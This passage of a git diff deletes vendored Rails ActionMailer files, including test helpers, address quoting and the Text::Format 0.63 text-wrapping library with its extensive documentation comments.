-    # Quote the given address if it needs to be. The address may be a
-    # regular email address, or it can be a phrase followed by an address in
-    # brackets. The phrase is the only part that will be quoted, and only if
-    # it needs to be. This allows extended characters to be used in the
-    # "to", "from", "cc", "bcc" and "reply-to" headers.
-    def quote_address_if_necessary(address, charset)
-      if Array === address
-        address.map { |a| quote_address_if_necessary(a, charset) }
-      elsif address =~ /^(\S.*)\s+(<.*>)$/
-        address = $2
-        phrase = quote_if_necessary($1.gsub(/^['"](.*)['"]$/, '\1'), charset)
-        "\"#{phrase}\" #{address}"
-      else
-        address
-      end
-    end
-
-    # Quote any of the given addresses, if they need to be.
-    def quote_any_address_if_necessary(charset, *args)
-      args.map { |v| quote_address_if_necessary(v, charset) }
-    end
-  end
-end
diff --git a/vendor/rails/actionmailer/lib/action_mailer/test_case.rb b/vendor/rails/actionmailer/lib/action_mailer/test_case.rb
deleted file mode 100644
index 8035db6f..00000000
--- a/vendor/rails/actionmailer/lib/action_mailer/test_case.rb
+++ /dev/null
@@ -1,64 +0,0 @@
-require 'active_support/test_case'
-
-module ActionMailer
-  class NonInferrableMailerError < ::StandardError
-    def initialize(name)
-      super "Unable to determine the mailer to test from #{name}. " +
-        "You'll need to specify it using tests YourMailer in your " +
-        "test case definition"
-    end
-  end
-
-  class TestCase < ActiveSupport::TestCase
-    include Quoting, TestHelper
-
-    setup :initialize_test_deliveries
-    setup :set_expected_mail
-
-    class << self
-      def tests(mailer)
-        write_inheritable_attribute(:mailer_class, mailer)
-      end
-
-      def mailer_class
-        if mailer = read_inheritable_attribute(:mailer_class)
-          mailer
-        else
-          tests determine_default_mailer(name)
-        end
-      end
-
-      def determine_default_mailer(name)
-        name.sub(/Test$/, '').constantize
-      rescue NameError => e
-        raise NonInferrableMailerError.new(name)
-      end
-    end
-
-    protected
-      def initialize_test_deliveries
-        ActionMailer::Base.delivery_method = :test
-        ActionMailer::Base.perform_deliveries = true
-        ActionMailer::Base.deliveries = []
-      end
-
-      def set_expected_mail
-        @expected = TMail::Mail.new
-        @expected.set_content_type "text", "plain", { "charset" => charset }
-        @expected.mime_version = '1.0'
-      end
-
-    private
-      def charset
-        "utf-8"
-      end
-
-      def encode(subject)
-        quoted_printable(subject, charset)
-      end
-
-      def read_fixture(action)
-        IO.readlines(File.join(RAILS_ROOT, 'test', 'fixtures', self.class.mailer_class.name.underscore, action))
-      end
-  end
-end
diff --git a/vendor/rails/actionmailer/lib/action_mailer/test_helper.rb b/vendor/rails/actionmailer/lib/action_mailer/test_helper.rb
deleted file mode 100644
index f234c024..00000000
--- a/vendor/rails/actionmailer/lib/action_mailer/test_helper.rb
+++ /dev/null
@@ -1,68 +0,0 @@
-module ActionMailer
-  module TestHelper
-    # Asserts that the number of emails sent matches the given number.
-    #
-    #   def test_emails
-    #     assert_emails 0
-    #     ContactMailer.deliver_contact
-    #     assert_emails 1
-    #     ContactMailer.deliver_contact
-    #     assert_emails 2
-    #   end
-    #
-    # If a block is passed, that block should cause the specified number of emails to be sent.
-    #
-    #   def test_emails_again
-    #     assert_emails 1 do
-    #       ContactMailer.deliver_contact
-    #     end
-    #
-    #     assert_emails 2 do
-    #       ContactMailer.deliver_contact
-    #       ContactMailer.deliver_contact
-    #     end
-    #   end
-    def assert_emails(number)
-      if block_given?
-        original_count = ActionMailer::Base.deliveries.size
-        yield
-        new_count = ActionMailer::Base.deliveries.size
-        assert_equal original_count + number, new_count, "#{number} emails expected, but #{new_count - original_count} were sent"
-      else
-        assert_equal number, ActionMailer::Base.deliveries.size
-      end
-    end
-
-    # Assert that no emails have been sent.
-    #
-    #   def test_emails
-    #     assert_no_emails
-    #     ContactMailer.deliver_contact
-    #     assert_emails 1
-    #   end
-    #
-    # If a block is passed, that block should not cause any emails to be sent.
-    #
-    #   def test_emails_again
-    #     assert_no_emails do
-    #       # No emails should be sent from this block
-    #     end
-    #   end
-    #
-    # Note: This assertion is simply a shortcut for:
-    #
-    #   assert_emails 0
-    def assert_no_emails(&block)
-      assert_emails 0, &block
-    end
-  end
-end
-
-# TODO: Deprecate this
-module Test
-  module Unit
-    class TestCase
-      include ActionMailer::TestHelper
-    end
-  end
-end
diff --git a/vendor/rails/actionmailer/lib/action_mailer/utils.rb b/vendor/rails/actionmailer/lib/action_mailer/utils.rb
deleted file mode 100644
index 26d2e60a..00000000
--- a/vendor/rails/actionmailer/lib/action_mailer/utils.rb
+++ /dev/null
@@ -1,7 +0,0 @@
-module ActionMailer
-  module Utils #:nodoc:
-    def normalize_new_lines(text)
-      text.to_s.gsub(/\r\n?/, "\n")
-    end
-  end
-end
diff --git a/vendor/rails/actionmailer/lib/action_mailer/vendor/text-format-0.6.3/text/format.rb b/vendor/rails/actionmailer/lib/action_mailer/vendor/text-format-0.6.3/text/format.rb
deleted file mode 100755
index 2d20c7a6..00000000
--- a/vendor/rails/actionmailer/lib/action_mailer/vendor/text-format-0.6.3/text/format.rb
+++ /dev/null
@@ -1,1466 +0,0 @@
-#--
-# Text::Format for Ruby
-# Version 0.63
-#
-# Copyright (c) 2002 - 2003 Austin Ziegler
-#
-# $Id: format.rb,v 1.1.1.1 2004/10/14 11:59:57 webster132 Exp $
-#
-# ==========================================================================
-# Revision History ::
-# YYYY.MM.DD  Change ID   Developer
-#             Description
-# --------------------------------------------------------------------------
-# 2002.10.18              Austin Ziegler
-#             Fixed a minor problem with tabs not being counted. Changed
-#             abbreviations from Hash to Array to better suit Ruby's
-#             capabilities. Fixed problems with the way that Array arguments
-#             are handled in calls to the major object types, excepting in
-#             Text::Format#expand and Text::Format#unexpand (these will
-#             probably need to be fixed).
-# 2002.10.30              Austin Ziegler
-#             Fixed the ordering of the <=> for binary tests. Fixed
-#             Text::Format#expand and Text::Format#unexpand to handle array
-#             arguments better.
-# 2003.01.24              Austin Ziegler
-#             Fixed a problem with Text::Format::RIGHT_FILL handling where a
-#             single word is larger than #columns. Removed Comparable
-#             capabilities (<=> doesn't make sense; == does). Added Symbol
-#             equivalents for the Hash initialization. Hash initialization has
-#             been modified so that values are set as follows (Symbols are
-#             highest priority; strings are middle; defaults are lowest):
-#                 @columns = arg[:columns] || arg['columns'] || @columns
-#             Added #hard_margins, #split_rules, #hyphenator, and #split_words.
-# 2003.02.07              Austin Ziegler
-#             Fixed the installer for proper case-sensitive handling.
-# 2003.03.28              Austin Ziegler
-#             Added the ability for a hyphenator to receive the formatter
-#             object. Fixed a bug for strings matching /\A\s*\Z/ failing
-#             entirely. Fixed a test case failing under 1.6.8. 
-# 2003.04.04              Austin Ziegler
-#             Handle the case of hyphenators returning nil for first/rest.
-# 2003.09.17          Austin Ziegler
-#             Fixed a problem where #paragraphs(" ") was raising
-#             NoMethodError.
-#
-# ==========================================================================
-#++
-
-module Text #:nodoc:
-   # Text::Format for Ruby is copyright 2002 - 2005 by Austin Ziegler. It
-   # is available under Ruby's licence, the Perl Artistic licence, or the
-   # GNU GPL version 2 (or at your option, any later version). As a
-   # special exception, for use with official Rails (provided by the
-   # rubyonrails.org development team) and any project created with
-   # official Rails, the following alternative MIT-style licence may be
-   # used:
-   #
-   # == Text::Format Licence for Rails and Rails Applications
-   # Permission is hereby granted, free of charge, to any person
-   # obtaining a copy of this software and associated documentation files
-   # (the "Software"), to deal in the Software without restriction,
-   # including without limitation the rights to use, copy, modify, merge,
-   # publish, distribute, sublicense, and/or sell copies of the Software,
-   # and to permit persons to whom the Software is furnished to do so,
-   # subject to the following conditions:
-   #
-   # * The names of its contributors may not be used to endorse or
-   #   promote products derived from this software without specific prior
-   #   written permission.
-   #
-   # The above copyright notice and this permission notice shall be
-   # included in all copies or substantial portions of the Software.
-   #
-   # THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
-   # EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
-   # MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
-   # NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS
-   # BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN
-   # ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN
-   # CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
-   # SOFTWARE.  
-   class Format
-    VERSION = '0.63'
-
-      # Local abbreviations. More can be added with Text::Format.abbreviations
-    ABBREV = [ 'Mr', 'Mrs', 'Ms', 'Jr', 'Sr' ]
-
-      # Formatting values
-    LEFT_ALIGN  = 0
-    RIGHT_ALIGN = 1
-    RIGHT_FILL  = 2
-    JUSTIFY     = 3
-
-      # Word split modes (only applies when #hard_margins is true).
-    SPLIT_FIXED                     = 1
-    SPLIT_CONTINUATION              = 2
-    SPLIT_HYPHENATION               = 4
-    SPLIT_CONTINUATION_FIXED        = SPLIT_CONTINUATION | SPLIT_FIXED
-    SPLIT_HYPHENATION_FIXED         = SPLIT_HYPHENATION | SPLIT_FIXED
-    SPLIT_HYPHENATION_CONTINUATION  = SPLIT_HYPHENATION | SPLIT_CONTINUATION
-    SPLIT_ALL                       = SPLIT_HYPHENATION | SPLIT_CONTINUATION | SPLIT_FIXED
-
-      # Words forcibly split by Text::Format will be stored as split words.
-      # This class represents a word forcibly split.
-    class SplitWord
-        # The word that was split.
-      attr_reader :word
-        # The first part of the word that was split.
-      attr_reader :first
-        # The remainder of the word that was split.
-      attr_reader :rest
-
-      def initialize(word, first, rest) #:nodoc:
-        @word = word
-        @first = first
-        @rest = rest
-      end
-    end
-
-  private
-    LEQ_RE = /[.?!]['"]?$/
-
-    def brk_re(i) #:nodoc:
-      %r/((?:\S+\s+){#{i}})(.+)/
-    end
-
-    def posint(p) #:nodoc:
-      p.to_i.abs
-    end
-
-  public
-      # Compares two Text::Format objects. All settings of the objects are
-      # compared *except* #hyphenator. Generated results (e.g., #split_words)
-      # are not compared, either.
-    def ==(o)
-      (@text          ==  o.text)           &&
-      (@columns       ==  o.columns)        &&
-      (@left_margin   ==  o.left_margin)    &&
-      (@right_margin  ==  o.right_margin)   &&
-      (@hard_margins  ==  o.hard_margins)   &&
-      (@split_rules   ==  o.split_rules)    &&
-      (@first_indent  ==  o.first_indent)   &&
-      (@body_indent   ==  o.body_indent)    &&
-      (@tag_text      ==  o.tag_text)       &&
-      (@tabstop       ==  o.tabstop)        &&
-      (@format_style  ==  o.format_style)   &&
-      (@extra_space   ==  o.extra_space)    &&
-      (@tag_paragraph ==  o.tag_paragraph)  &&
-      (@nobreak       ==  o.nobreak)        &&
-      (@abbreviations ==  o.abbreviations)  &&
-      (@nobreak_regex ==  o.nobreak_regex)
-    end
-
-      # The text to be manipulated. Note that value is optional, but if the
-      # formatting functions are called without values, this text is what will
-      # be formatted.
-      #
-      # *Default*::       <tt>[]</tt>
-      # <b>Used in</b>::  All methods
-    attr_accessor :text
-
-      # The total width of the format area. The margins, indentation, and text
-      # are formatted into this space.
-      #
-      #                             COLUMNS
-      #  <-------------------------------------------------------------->
-      #  <-----------><------><---------------------------><------------>
-      #   left margin  indent  text is formatted into here  right margin
-      #
-      # *Default*::       <tt>72</tt>
-      # <b>Used in</b>::  <tt>#format</tt>, <tt>#paragraphs</tt>,
-      #                   <tt>#center</tt>
-    attr_reader :columns
-
-      # The total width of the format area. The margins, indentation, and text
-      # are formatted into this space. The value provided is silently
-      # converted to a positive integer.
-      #
-      #                             COLUMNS
-      #  <-------------------------------------------------------------->
-      #  <-----------><------><---------------------------><------------>
-      #   left margin  indent  text is formatted into here  right margin
-      #
-      # *Default*::       <tt>72</tt>
-      # <b>Used in</b>::  <tt>#format</tt>, <tt>#paragraphs</tt>,
-      #                   <tt>#center</tt>
-    def columns=(c)
-      @columns = posint(c)
-    end
-
-      # The number of spaces used for the left margin.
-      #
-      #                             columns
-      #  <-------------------------------------------------------------->
-      #  <-----------><------><---------------------------><------------>
-      #   LEFT MARGIN  indent  text is formatted into here  right margin
-      #
-      # *Default*::       <tt>0</tt>
-      # <b>Used in</b>::  <tt>#format</tt>, <tt>#paragraphs</tt>,
-      #                   <tt>#center</tt>
-    attr_reader :left_margin
-
-      # The number of spaces used for the left margin. The value provided is
-      # silently converted to a positive integer value.
-      #
-      #                             columns
-      #  <-------------------------------------------------------------->
-      #  <-----------><------><---------------------------><------------>
-      #   LEFT MARGIN  indent  text is formatted into here  right margin
-      #
-      # *Default*::       <tt>0</tt>
-      # <b>Used in</b>::  <tt>#format</tt>, <tt>#paragraphs</tt>,
-      #                   <tt>#center</tt>
-    def left_margin=(left)
-      @left_margin = posint(left)
-    end
-
-      # The number of spaces used for the right margin.
-      #
-      #                             columns
-      #  <-------------------------------------------------------------->
-      #  <-----------><------><---------------------------><------------>
-      #   left margin  indent  text is formatted into here  RIGHT MARGIN
-      #
-      # *Default*::       <tt>0</tt>
-      # <b>Used in</b>::  <tt>#format</tt>, <tt>#paragraphs</tt>,
-      #                   <tt>#center</tt>
-    attr_reader :right_margin
-
-      # The number of spaces used for the right margin. The value provided is
-      # silently converted to a positive integer value.
-      #
-      #                             columns
-      #  <-------------------------------------------------------------->
-      #  <-----------><------><---------------------------><------------>
-      #   left margin  indent  text is formatted into here  RIGHT MARGIN
-      #
-      # *Default*::       <tt>0</tt>
-      # <b>Used in</b>::  <tt>#format</tt>, <tt>#paragraphs</tt>,
-      #                   <tt>#center</tt>
-    def right_margin=(r)
-      @right_margin = posint(r)
-    end
-
-      # The number of spaces to indent the first line of a paragraph.
-      #
-      #                             columns
-      #  <-------------------------------------------------------------->
-      #  <-----------><------><---------------------------><------------>
-      #   left margin  INDENT  text is formatted into here  right margin
-      #
-      # *Default*::       <tt>4</tt>
-      # <b>Used in</b>::  <tt>#format</tt>, <tt>#paragraphs</tt>
-    attr_reader :first_indent
-
-      # The number of spaces to indent the first line of a paragraph. The
-      # value provided is silently converted to a positive integer value.
-      #
-      #                             columns
-      #  <-------------------------------------------------------------->
-      #  <-----------><------><---------------------------><------------>
-      #   left margin  INDENT  text is formatted into here  right margin
-      #
-      # *Default*::       <tt>4</tt>
-      # <b>Used in</b>::  <tt>#format</tt>, <tt>#paragraphs</tt>
-    def first_indent=(f)
-      @first_indent = posint(f)
-    end
-
-      # The number of spaces to indent all lines after the first line of a
-      # paragraph.
-      #
-      #                             columns
-      #  <-------------------------------------------------------------->
-      #  <-----------><------><---------------------------><------------>
-      #   left margin  INDENT  text is formatted into here  right margin
-      #
-      # *Default*::       <tt>0</tt>
-      # <b>Used in</b>::  <tt>#format</tt>, <tt>#paragraphs</tt>
-  attr_reader :body_indent
-
-      # The number of spaces to indent all lines after the first line of
-      # a paragraph. The value provided is silently converted to a
-      # positive integer value.
-      #
-      #                             columns
-      #  <-------------------------------------------------------------->
-      #  <-----------><------><---------------------------><------------>
-      #   left margin  INDENT  text is formatted into here  right margin
-      #
-      # *Default*::       <tt>0</tt>
-      # <b>Used in</b>::  <tt>#format</tt>, <tt>#paragraphs</tt>
-    def body_indent=(b)
-      @body_indent = posint(b)
-    end
-
-      # Normally, words larger than the format area will be placed on a line
-      # by themselves. Setting this to +true+ will force words larger than the
-      # format area to be split into one or more "words" each at most the size
-      # of the format area. The first line and the original word will be
-      # placed into <tt>#split_words</tt>. Note that this will cause the
-      # output to look *similar* to a #format_style of JUSTIFY. (Lines will be
-      # filled as much as possible.)
-      #
-      # *Default*::       +false+
-      # <b>Used in</b>::  <tt>#format</tt>, <tt>#paragraphs</tt>
-    attr_accessor :hard_margins
-
-      # An array of words split during formatting if #hard_margins is set to
-      # +true+.
-      #   #split_words << Text::Format::SplitWord.new(word, first, rest)
-    attr_reader :split_words
-
-      # The object responsible for hyphenating. It must respond to
-      # #hyphenate_to(word, size) or #hyphenate_to(word, size, formatter) and
-      # return an array of the word split into two parts; if there is a
-      # hyphenation mark to be applied, responsibility belongs to the
-      # hyphenator object. The size is the MAXIMUM size permitted, including
-      # any hyphenation marks. If the #hyphenate_to method has an arity of 3,
-      # the formatter will be provided to the method. This allows the
-      # hyphenator to make decisions about the hyphenation based on the
-      # formatting rules.
-      #
-      # *Default*::       +nil+
-      # <b>Used in</b>::  <tt>#format</tt>, <tt>#paragraphs</tt>
-    attr_reader :hyphenator
-
-      # The object responsible for hyphenating. It must respond to
-      # #hyphenate_to(word, size) and return an array of the word hyphenated
-      # into two parts. The size is the MAXIMUM size permitted, including any
-      # hyphenation marks.
-      #
-      # *Default*::       +nil+
-      # <b>Used in</b>::  <tt>#format</tt>, <tt>#paragraphs</tt>
-    def hyphenator=(h)
-      raise ArgumentError, "#{h.inspect} is not a valid hyphenator." unless h.respond_to?(:hyphenate_to)
-      arity = h.method(:hyphenate_to).arity
-      raise ArgumentError, "#{h.inspect} must have exactly two or three arguments." unless [2, 3].include?(arity)
-      @hyphenator = h
-      @hyphenator_arity = arity
-    end
-
-      # Specifies the split mode; used only when #hard_margins is set to
-      # +true+. Allowable values are:
-      # [+SPLIT_FIXED+]         The word will be split at the number of
-      #                         characters needed, with no marking at all.
-      #      repre
-      #      senta
-      #      ion
-      # [+SPLIT_CONTINUATION+]  The word will be split at the number of
-      #                         characters needed, with a C-style continuation
-      #                         character. If a word is the only item on a
-      #                         line and it cannot be split into an
-      #                         appropriate size, SPLIT_FIXED will be used.
-      #       repr\
-      #       esen\
-      #       tati\
-      #       on
-      # [+SPLIT_HYPHENATION+]   The word will be split according to the
-      #                         hyphenator specified in #hyphenator. If there
-      #                         is no #hyphenator specified, works like
-      #                         SPLIT_CONTINUATION. The example is using
-      #                         TeX::Hyphen. If a word is the only item on a
-      #                         line and it cannot be split into an
-      #                         appropriate size, SPLIT_CONTINUATION mode will
-      #                         be used.
-      #       rep-
-      #       re-
-      #       sen-
-      #       ta-
-      #       tion
-      #
-      # *Default*::       <tt>Text::Format::SPLIT_FIXED</tt>
-      # <b>Used in</b>::  <tt>#format</tt>, <tt>#paragraphs</tt>
-    attr_reader :split_rules
-
-      # Specifies the split mode; used only when #hard_margins is set to
-      # +true+. Allowable values are:
-      # [+SPLIT_FIXED+]         The word will be split at the number of
-      #                         characters needed, with no marking at all.
-      #      repre
-      #      senta
-      #      ion
-      # [+SPLIT_CONTINUATION+]  The word will be split at the number of
-      #                         characters needed, with a C-style continuation
-      #                         character.
-      #       repr\
-      #       esen\
-      #       tati\
-      #       on
-      # [+SPLIT_HYPHENATION+]   The word will be split according to the
-      #                         hyphenator specified in #hyphenator. If there
-      #                         is no #hyphenator specified, works like
-      #                         SPLIT_CONTINUATION. The example is using
-      #                         TeX::Hyphen as the #hyphenator.
-      #       rep-
-      #       re-
-      #       sen-
-      #       ta-
-      #       tion
-      #
-      # These values can be bitwise ORed together (e.g., <tt>SPLIT_FIXED |
-      # SPLIT_CONTINUATION</tt>) to provide fallback split methods. In the
-      # example given, an attempt will be made to split the word using the
-      # rules of SPLIT_CONTINUATION; if there is not enough room, the word
-      # will be split with the rules of SPLIT_FIXED. These combinations are
-      # also available as the following values:
-      # * +SPLIT_CONTINUATION_FIXED+
-      # * +SPLIT_HYPHENATION_FIXED+
-      # * +SPLIT_HYPHENATION_CONTINUATION+
-      # * +SPLIT_ALL+
-      #
-      # *Default*::       <tt>Text::Format::SPLIT_FIXED</tt>
-      # <b>Used in</b>::  <tt>#format</tt>, <tt>#paragraphs</tt>
-    def split_rules=(s)
-      raise ArgumentError, "Invalid value provided for split_rules." if ((s < SPLIT_FIXED) || (s > SPLIT_ALL))
-      @split_rules = s
-    end
-
-      # Indicates whether sentence terminators should be followed by a single
-      # space (+false+), or two spaces (+true+).
-      #
-      # *Default*::       +false+
-      # <b>Used in</b>::  <tt>#format</tt>, <tt>#paragraphs</tt>
-    attr_accessor :extra_space
-
-      # Defines the current abbreviations as an array. This is only used if
-      # extra_space is turned on.
-      #
-      # If one is abbreviating "President" as "Pres." (abbreviations =
-      # ["Pres"]), then the results of formatting will be as illustrated in
-      # the table below:
-      #
-      #       extra_space  |  include?        |  !include?
-      #         true       |  Pres. Lincoln   |  Pres.  Lincoln
-      #         false      |  Pres. Lincoln   |  Pres. Lincoln
-      #
-      # *Default*::       <tt>{}</tt>
-      # <b>Used in</b>::  <tt>#format</tt>, <tt>#paragraphs</tt>
-    attr_accessor :abbreviations
-
-      # Indicates whether the formatting of paragraphs should be done with
-      # tagged paragraphs. Useful only with <tt>#tag_text</tt>.
-      #
-      # *Default*::       +false+
-      # <b>Used in</b>::  <tt>#format</tt>, <tt>#paragraphs</tt>
-    attr_accessor :tag_paragraph
-
-      # The array of text to be placed before each paragraph when
-      # <tt>#tag_paragraph</tt> is +true+. When <tt>#format()</tt> is called,
-      # only the first element of the array is used. When <tt>#paragraphs</tt>
-      # is called, then each entry in the array will be used once, with
-      # corresponding paragraphs. If the tag elements are exhausted before the
-      # text is exhausted, then the remaining paragraphs will not be tagged.
-      # Regardless of indentation settings, a blank line will be inserted
-      # between all paragraphs when <tt>#tag_paragraph</tt> is +true+.
-      #
-      # *Default*::       <tt>[]</tt>
-      # <b>Used in</b>::  <tt>#format</tt>, <tt>#paragraphs</tt>
-    attr_accessor :tag_text
-
-      # Indicates whether or not the non-breaking space feature should be
-      # used.
-      #
-      # *Default*::       +false+
-      # <b>Used in</b>::  <tt>#format</tt>, <tt>#paragraphs</tt>
-    attr_accessor :nobreak
-
-      # A hash which holds the regular expressions on which spaces should not
-      # be broken. The hash is set up such that the key is the first word and
-      # the value is the second word.
-      #
-      # For example, if +nobreak_regex+ contains the following hash:
-      #
-      #   { '^Mrs?\.$' => '\S+$', '^\S+$' => '^(?:S|J)r\.$'}
-      #
-      # Then "Mr. Jones", "Mrs. Jones", and "Jones Jr." would not be broken.
-      # If this simple matching algorithm indicates that there should not be a
-      # break at the current end of line, then a backtrack is done until there
-      # are two words on which line breaking is permitted. If two such words
-      # are not found, then the end of the line will be broken *regardless*.
-      # If there is a single word on the current line, then no backtrack is
-      # done and the word is stuck on the end.
-      #
-      # *Default*::       <tt>{}</tt>
-      # <b>Used in</b>::  <tt>#format</tt>, <tt>#paragraphs</tt>
-    attr_accessor :nobreak_regex
-
-      # Indicates the number of spaces that a single tab represents.
-      #
-      # *Default*::       <tt>8</tt>
-      # <b>Used in</b>::  <tt>#expand</tt>, <tt>#unexpand</tt>,
-      #                   <tt>#paragraphs</tt>
-    attr_reader :tabstop
-
-      # Indicates the number of spaces that a single tab represents.
-      #
-      # *Default*::       <tt>8</tt>
-      # <b>Used in</b>::  <tt>#expand</tt>, <tt>#unexpand</tt>,
-      #                   <tt>#paragraphs</tt>
-    def tabstop=(t)
-      @tabstop = posint(t)
-    end
-
-      # Specifies the format style. Allowable values are:
-      # [+LEFT_ALIGN+]    Left justified, ragged right.
-      #      |A paragraph that is|
-      #      |left aligned.|
-      # [+RIGHT_ALIGN+]   Right justified, ragged left.
-      #      |A paragraph that is|
-      #      |     right aligned.|
-      # [+RIGHT_FILL+]    Left justified, right ragged, filled to width by
-      #                   spaces. (Essentially the same as +LEFT_ALIGN+ except
-      #                   that lines are padded on the right.)
-      #      |A paragraph that is|
-      #      |left aligned.      |
-      # [+JUSTIFY+]       Fully justified, words filled to width by spaces,
-      #                   except the last line.
-      #      |A paragraph  that|
-      #      |is     justified.|
-      #
-      # *Default*::       <tt>Text::Format::LEFT_ALIGN</tt>
-      # <b>Used in</b>::  <tt>#format</tt>, <tt>#paragraphs</tt>
-    attr_reader :format_style
-
-      # Specifies the format style. Allowable values are:
-      # [+LEFT_ALIGN+]    Left justified, ragged right.
-      #      |A paragraph that is|
-      #      |left aligned.|
-      # [+RIGHT_ALIGN+]   Right justified, ragged left.
-      #      |A paragraph that is|
-      #      |     right aligned.|
-      # [+RIGHT_FILL+]    Left justified, right ragged, filled to width by
-      #                   spaces. (Essentially the same as +LEFT_ALIGN+ except
-      #                   that lines are padded on the right.)
-      #      |A paragraph that is|
-      #      |left aligned.      |
-      # [+JUSTIFY+]       Fully justified, words filled to width by spaces.
-      #      |A paragraph  that|
-      #      |is     justified.|
-      #
-      # *Default*::       <tt>Text::Format::LEFT_ALIGN</tt>
-      # <b>Used in</b>::  <tt>#format</tt>, <tt>#paragraphs</tt>
-    def format_style=(fs)
-      raise ArgumentError, "Invalid value provided for format_style." if ((fs < LEFT_ALIGN) || (fs > JUSTIFY))
-      @format_style = fs
-    end
-
-      # Indicates that the format style is left alignment.
-      #
-      # *Default*::       +true+
-      # <b>Used in</b>::  <tt>#format</tt>, <tt>#paragraphs</tt>
-    def left_align?
-      return @format_style == LEFT_ALIGN
-    end
-
-      # Indicates that the format style is right alignment.
-      #
-      # *Default*::       +false+
-      # <b>Used in</b>::  <tt>#format</tt>, <tt>#paragraphs</tt>
-    def right_align?
-      return @format_style == RIGHT_ALIGN
-    end
-
-      # Indicates that the format style is right fill.
-      #
-      # *Default*::       +false+
-      # <b>Used in</b>::  <tt>#format</tt>, <tt>#paragraphs</tt>
-    def right_fill?
-      return @format_style == RIGHT_FILL
-    end
-
-      # Indicates that the format style is full justification.
-      #
-      # *Default*::       +false+
-      # <b>Used in</b>::  <tt>#format</tt>, <tt>#paragraphs</tt>
-    def justify?
-      return @format_style == JUSTIFY
-    end
-
-      # The default implementation of #hyphenate_to implements
-      # SPLIT_CONTINUATION.
-    def hyphenate_to(word, size)
-      [word[0 .. (size - 2)] + "\\", word[(size - 1) .. -1]]
-    end
-
-  private
-    def __do_split_word(word, size) #:nodoc:
-      [word[0 .. (size - 1)], word[size .. -1]]
-    end
-
-    def __format(to_wrap) #:nodoc:
-      words = to_wrap.split(/\s+/).compact
-      words.shift if words[0].nil? or words[0].empty?
-      to_wrap = []
-
-      abbrev = false
-      width = @columns - @first_indent - @left_margin - @right_margin
-      indent_str = ' ' * @first_indent
-      first_line = true
-      line = words.shift
-      abbrev = __is_abbrev(line) unless line.nil? || line.empty?
-
-      while w = words.shift
-        if (w.size + line.size < (width - 1)) ||
-           ((line !~ LEQ_RE || abbrev) && (w.size + line.size < width))
-          line << " " if (line =~ LEQ_RE) && (not abbrev)
-          line << " #{w}"
-        else
-          line, w = __do_break(line, w) if @nobreak
-          line, w = __do_hyphenate(line, w, width) if @hard_margins
-          if w.index(/\s+/)
-            w, *w2 = w.split(/\s+/)
-            words.unshift(w2)
-            words.flatten!
-          end
-          to_wrap << __make_line(line, indent_str, width, w.nil?) unless line.nil?
-          if first_line
-            first_line = false
-            width = @columns - @body_indent - @left_margin - @right_margin
-            indent_str = ' ' * @body_indent
-          end
-          line = w
-        end
-
-        abbrev = __is_abbrev(w) unless w.nil?
-      end
-
-      loop do
-        break if line.nil? or line.empty?
-        line, w = __do_hyphenate(line, w, width) if @hard_margins
-        to_wrap << __make_line(line, indent_str, width, w.nil?)
-        line = w
-      end
-
-      if (@tag_paragraph && (to_wrap.size > 0)) then
-        clr = %r{`(\w+)'}.match([caller(1)].flatten[0])[1]
-        clr = "" if clr.nil?
-
-        if ((not @tag_text[0].nil?) && (@tag_cur.size < 1) &&
-            (clr != "__paragraphs")) then
-          @tag_cur = @tag_text[0]
-        end
-
-        fchar = /(\S)/.match(to_wrap[0])[1]
-        white = to_wrap[0].index(fchar)
-        if ((white - @left_margin - 1) > @tag_cur.size) then
-          white = @tag_cur.size + @left_margin
-          to_wrap[0].gsub!(/^ {#{white}}/, "#{' ' * @left_margin}#{@tag_cur}")
-        else
-          to_wrap.unshift("#{' ' * @left_margin}#{@tag_cur}\n")
-        end
-      end
-      to_wrap.join('')
-    end
-
-      # format lines in text into paragraphs with each element of @wrap a
-      # paragraph; uses Text::Format.format for the formatting
-    def __paragraphs(to_wrap) #:nodoc:
-      if ((@first_indent == @body_indent) || @tag_paragraph) then
-        p_end = "\n"
-      else
-        p_end = ''
-      end
-
-      cnt = 0
-      ret = []
-      to_wrap.each do |tw|
-        @tag_cur = @tag_text[cnt] if @tag_paragraph
-        @tag_cur = '' if @tag_cur.nil?
-        line = __format(tw)
-        ret << "#{line}#{p_end}" if (not line.nil?) && (line.size > 0)
-        cnt += 1
-      end
-
-      ret[-1].chomp! unless ret.empty?
-      ret.join('')
-    end
-
-      # center text using spaces on left side to pad it out empty lines
-      # are preserved
-    def __center(to_center) #:nodoc:
-      tabs = 0
-      width = @columns - @left_margin - @right_margin
-      centered = []
-      to_center.each do |tc|
-        s = tc.strip
-        tabs = s.count("\t")
-        tabs = 0 if tabs.nil?
-        ct = ((width - s.size - (tabs * @tabstop) + tabs) / 2)
-        ct = (width - @left_margin - @right_margin) - ct
-        centered << "#{s.rjust(ct)}\n"
-      end
-      centered.join('')
-    end
-
-      # expand tabs to spaces should be similar to Text::Tabs::expand
-    def __expand(to_expand) #:nodoc:
-      expanded = []
-      to_expand.split("\n").each { |te| expanded << te.gsub(/\t/, ' ' * @tabstop) }
-      expanded.join('')
-    end
-
-    def __unexpand(to_unexpand) #:nodoc:
-      unexpanded = []
-      to_unexpand.split("\n").each { |tu| unexpanded << tu.gsub(/ {#{@tabstop}}/, "\t") }
-      unexpanded.join('')
-    end
-
-    def __is_abbrev(word) #:nodoc:
-        # remove period if there is one.
-      w = word.gsub(/\.$/, '') unless word.nil?
-      return true if (!@extra_space || ABBREV.include?(w) || @abbreviations.include?(w))
-      false
-    end
-
-    def __make_line(line, indent, width, last = false) #:nodoc:
-      lmargin = " " * @left_margin
-      fill = " " * (width - line.size) if right_fill? && (line.size <= width)
-
-      if (justify? && ((not line.nil?) && (not line.empty?)) && line =~ /\S+\s+\S+/ && !last)
-        spaces = width - line.size
-        words = line.split(/(\s+)/)
-        ws = spaces / (words.size / 2)
-        spaces = spaces % (words.size / 2) if ws > 0
-        words.reverse.each do |rw|
-          next if (rw =~ /^\S/)
-          rw.sub!(/^/, " " * ws)
-          next unless (spaces > 0)
-          rw.sub!(/^/, " ")
-          spaces -= 1
-        end
